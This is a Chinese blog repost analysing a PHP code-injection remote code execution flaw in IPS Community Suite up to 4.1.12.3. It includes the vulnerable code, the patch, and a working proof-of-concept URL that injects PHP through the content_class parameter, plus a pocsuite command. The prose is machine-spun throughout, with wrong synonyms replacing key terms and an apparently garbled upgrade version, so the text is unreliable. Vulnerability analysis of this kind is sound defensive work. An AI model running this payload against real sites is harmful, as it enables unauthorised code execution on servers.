当前位置:首页 > 电脑常识 > 正文

IPS Community Suite PHP长途代码执行缝隙分析(CVE

11-21 电脑常识

“IPS Community Suite”是一款国外对照常见的 CMS。但在其4.1.12.3版本及以下版本,存在PHP代码注入缝隙,该缝隙源于措施未能丰裕过滤 content_class 请求参数。

长途打击者可操作该缝隙注入并执行任意PHP代码。

缝隙触发条件为:

IPS版本:<=4.1.12.3

php环境:<=5.4.24 和 5.5.0-5.5.8

0×01 缝隙分析

在 /applications/core/modules/front/system/content.php 文件中有一段这样的代码,

$class = 'IPS' . implode( '', explode( '_', IPSRequest::i()->content_class ) ); if ( ! class_exists( $class ) or ! in_array( 'IPSContent', class_parents( $class ) ) ) {     IPSOutput::i()->error( 'node_error', '2S226/2', 404, '' ); }

这里措施通过 IPSRequest::i()->content_class 获取了我们通过 GET 请求提交的 content_class 参数,之后进行了必然的字符串的措置惩罚惩罚,之后就进入了 class_exists 函数,在这一过程中并没有对我们传入的数据过滤,这就有可能孕育产生缝隙,下面我们进入到 /applications/cms/Application.php 文件中的  __autoload  函数 :

if ( mb_substr( $class, 0, 14 ) === 'IPScmsFields' and is_numeric( mb_substr( $class, 14, 1 ) ) )

{

$databaseId = mb_substr( $class, 14 );

eval( "namespace IPScms; class Fields{$databaseId} extends Fields { public static $customDatabaseId [...]

}

最后我们可以结构特定的参数,进入 eval 函数,从而造生长途代码执行

措施措置惩罚惩罚流程如下:

0×02 官方修复分析

颠末我们的分析比拟

发明 /applications/cms/Application.php这个文件中 本来的 spl_autoload_register() 和更新后

我们可以看到,官方操作 intval() 函数对最后传入的 $class 进行来整数验证

使得传入的 $class 的第14位后被限定成为一个整数,防备传入字符串进入 eval() 

0×03 PHP版本的间接修复

在 PHP 的新版本 >=5.4.25 或者 >=5.5.9 里变换了 class_exists 的机制

而低于的版本则没有此限制可以正常触发缝隙

    $class = 'IPS' . implode( '', explode( '_', IPSRequest::i()->content_class ) );

if ( ! class_exists( $class ) or ! in_array( 'IPSContent', class_parents( $class ) ) )

{

IPSOutput::i()->error( 'node_error', '2S226/2', 404, '' );

}

此处  $class=”IPS\cms\Fields1{}phpinfo();/*” 的时候不再触发 class_exists() 去加载

/applications/cms/Application.php 中的 spl_autoload_register()  故不再触发缝隙

0×04 缝隙验证

由此,我们可以结构PoC:

http://*/ips/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields{}phpinfo();/*

效果如图:

Pocsuite:

pocsuite.py -r php_ips_test_injection.py -u "http://*/forumnew/index.php" --verify

 

0×05 缝隙修复

PHP 5.4.x 升级至 5.4.25 以上, 5.5.x 升级至 5.5.9 以上

IPS  升级至 4.12.3.1 以上

0×06 参考

https://www.seebug.org/vuldb/ssvid-92096

https://invisionpower.com/

温馨提示: 本文由杰米博客推荐,转载请保留链接: https://www.jmwww.net/file/pc/12846.html

博客主人杰米WWW
杰米博客,为大家提供seo以及it方面技巧喜欢的朋友收藏哦!
  • 11365文章总数
  • 1378074访问次数
  • 建站天数
  •